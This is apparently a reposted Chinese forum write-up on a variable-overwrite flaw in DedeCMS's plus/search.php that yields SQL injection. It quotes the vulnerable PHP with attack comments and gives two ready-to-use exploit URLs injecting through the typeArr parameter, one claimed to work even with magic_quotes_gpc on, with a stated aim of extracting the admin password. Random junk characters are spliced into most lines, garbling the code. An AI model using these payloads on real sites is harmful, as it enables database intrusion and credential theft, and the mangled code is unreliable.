微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
- G2 t8 U4 Y+ t# q! d6 J作者: c4rp3nt3r@0x50sec.org+ m) z# Z2 q& X5 G8 u2 E- J
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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a# U0 _4 Q4 g- D黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.$ M$ \: b, V: f! i V) K0 _
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============
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5 ]7 [2 Q0 e+ \- ODedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码. W& Q- \8 b( J. R
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require_once(dirname(__FILE__).”/../include/common.inc.php”);
4 L6 O+ N" [5 H$ brequire_once(DEDEINC.”/arc.searchview.class.php”);3 C: e1 N! s5 g; }/ `% P' v
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$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
* J4 v' O; J3 g7 w$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
$ a5 [* r8 @* }4 q$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
6 u5 C1 K) m0 Q- n" X$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
/ r& V3 r6 |' F6 B$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
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if(!isset($orderby)) $orderby=”;" ~5 M) @$ L0 e/ G9 Z* U
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);) C/ o- q; i7 `# @1 Z r
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if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
( J" v$ y1 @4 R+ e6 s1 y$ `5 kelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);& w2 }1 B. y" x/ t/ n; [
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if(!isset($keyword)){
4 P# E! k N9 j% F, H) V/ d if(!isset($q)) $q = ”;
0 F& `1 k' _4 d) u! A $keyword=$q;
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6 J" q1 ?( r `9 m: a/ y$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));* J7 t0 F: n( g/ s) c) C+ T/ `) A
; Q) Q7 T, g4 p" E* ]: X//查找栏目信息
) B& I0 V" M6 C" L. z3 o" f! nif(empty($typeid))
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$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
6 h S! t$ B8 {5 x* M% ~! } q3 m, b if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
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$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);+ I( y0 D9 g/ z% @6 R: W" X$ m- F
fwrite($fp, “<”.”?php\r\n”);" g6 U6 D+ \5 c; q _" Q* }( E& m. A2 I5 @
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
0 f8 E6 h, z* k9 E9 W# t0 q $dsql->Execute();/ H4 `+ O' F7 H* Y' u6 [
while($row = $dsql->GetArray())3 H! v# ~- Y7 |+ w9 A2 T
{
K0 n' u8 O% d; M4 @8 ? fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);5 ~% Z) q% J" V' m
}8 ?* u% R) Z8 j2 P1 M! w" }
fwrite($fp, ‘?’.'>’);( q9 g" J* M0 q0 y0 r4 V! ]
fclose($fp);% r' P( e3 E5 D8 G% y
}
' v3 Z5 ~9 M2 k" Z //引入栏目缓存并看关键字是否有相关栏目内容
7 Z0 ?/ q0 F3 V5 | require_once($typenameCacheFile);
3 J* D9 m/ ?" @7 G4 p//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
; ~4 T' t8 Q- m& H" M//; l2 S/ |0 e k- T. }; e) o
if(isset($typeArr) && is_array($typeArr))
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foreach($typeArr as $id=>$typename)1 `9 E$ ^( U) l, S% ~* j3 y
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& Z6 N5 ?5 }; J9 o& d/ U3 W) K <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过* V% g' ]6 D- y( }; U( g
if($keyword != $keywordn)1 P5 l6 J5 S# Z: h9 n
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$keyword = $keywordn;( J& ?! I, G* R7 M
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
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}
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然后plus/search.php文件下面定义了一个 Search类的对象 .: y& s' D8 `/ J) B
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
/ h1 `% i' Z( C0 V/ Y. J$this->TypeLink = new TypeLink($typeid);7 x/ c/ Q5 o7 e6 q! W( K
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TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
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# k, G, Q. F, z6 x) Q: x( }' tclass TypeLink
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var $typeDir;1 x+ \3 G5 g' T- w
var $dsql;
3 d1 y' ^/ X8 Q8 A var $TypeID;/ p1 {8 z9 y( ^4 W3 m) K$ t# L! T
var $baseDir;
7 [8 W: b2 S* K* w/ Q var $modDir;2 @' r' D" |0 b. j
var $indexUrl;& ~3 ~+ g1 @. A }# E
var $indexName;
" P2 z& j$ D K. D7 T: _% Q1 e var $TypeInfos;& c7 |, B" H6 T3 E( n
var $SplitSymbol;/ u) k( D4 A) [) w! |2 z- ]) x
var $valuePosition;
0 J6 @$ A; V D8 C. ` var $valuePositionName;
) B0 P/ u6 G5 l1 F- \3 _" f4 I; L0 c* e var $OptionArrayList;//构造函数///////
" x7 E( ]) B. r( @9 x) V //php5构造函数" J& R$ ?; U6 q" j7 u
function __construct($typeid)8 r* M5 } T* v' M2 p" d6 w& @
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$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];! j. {% I; Z' H& R5 ? O, }
$this->indexName = $GLOBALS['cfg_indexname'];
[5 f8 ^" b8 W9 P o6 ]+ i6 }4 T $this->baseDir = $GLOBALS['cfg_basedir'];
2 A5 Q4 h" k" y0 c: G8 | $this->modDir = $GLOBALS['cfg_templets_dir'];
1 X2 W7 b3 k: H: M $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];; b y1 t5 ^% H& U% K. s p% J* b
$this->dsql = $GLOBALS['dsql'];8 w* @8 D" y" B; |9 W1 f
$this->TypeID = $typeid;* l4 q$ G9 F) m; h$ b P% u
$this->valuePosition = ”;
* b9 n4 L5 B6 w $this->valuePositionName = ”;3 C& n, F( W& h) `
$this->typeDir = ”;1 k1 @+ t" Z; `
$this->OptionArrayList = ”;; N( m; T' m$ z1 H, }. v
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//载入类目信息
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<font color=”Red”>$query = “SELECT tp.*,ch.typename as3 }, L( Q U( V K3 h
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join' }/ ~5 a1 U H7 _. A* i7 x! K
`#@__channeltype` ch: j" T' I: {& u% O+ s" K( ]' o2 {' |
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿2 S$ D3 }- i( J6 {
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if($typeid > 0)3 `, o) y1 c' a8 @+ P M! x7 F
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$this->TypeInfos = $this->dsql->GetOne($query);
; _4 v- p7 K8 _/ {* k0 t; e* w利用代码一 需要 即使magic_quotes_gpc = Off8 e: K" l9 c( U: |5 `
6 X! L, x& A1 Cwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
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8 [! W; L5 H7 S( A4 w7 L( `9 F这只是其中一个利用代码… Search 类的构造函数再往下
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……省略9 q! N1 ]* W* p" M- M3 s2 U
$this->TypeID = $typeid;
5 @7 r: j3 t& U8 q3 p/ b……省略
6 U: F+ \2 m# Q, s f8 Rif($this->TypeID==”0″){3 ~3 T5 x5 r1 ~* ?
$this->ChannelTypeid=1;# }& E1 O+ m% u2 D; O- ~* d
}else{: {5 E4 w0 A# d X2 ~/ L4 x
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲( b; ?5 t# v: U# V3 ^: j
//现在不鸡肋了吧亲…
: y; n4 f1 k$ H" M7 l- S( r2 \ $this->ChannelTypeid=$row['channeltype'];# A' }" E+ H- J9 @
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) z2 U: F- v( X& B% f0 Z; c% _利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.0 w' ?- {2 G5 a. V1 h( `5 L$ q
# D$ ~) O9 q% g7 m8 @6 ], wwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title& r+ |+ b5 ]- o+ x
9 l: }( I" B" B0 a. M+ Z如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站/ O# W( y% t# e2 X& @& q$ J# I- f
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